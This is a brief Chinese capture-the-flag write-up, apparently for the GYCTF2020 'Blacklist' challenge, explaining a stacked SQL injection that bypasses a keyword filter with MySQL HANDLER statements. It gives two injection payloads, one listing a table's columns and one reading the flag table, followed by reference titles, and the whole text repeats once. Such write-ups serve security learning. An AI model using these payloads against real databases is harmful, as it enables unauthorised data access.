考点
堆叠注入,mysql handler语法使用
复现
经测试,为字符型注入。
查看表
1';show columns from FlagHer;#
使用hanlder 查看
1';handler FlagHere open;handler FlagHere read first;#
参考
堆叠注入详解
[GYCTF2020]Blacklist堆叠注入
【MySQL】MySQL 之 handler 的详细使用及说明
堆叠注入,mysql handler语法使用
经测试,为字符型注入。
查看表
1';show columns from FlagHer;#
使用hanlder 查看
1';handler FlagHere open;handler FlagHere read first;#
堆叠注入详解
[GYCTF2020]Blacklist堆叠注入
【MySQL】MySQL 之 handler 的详细使用及说明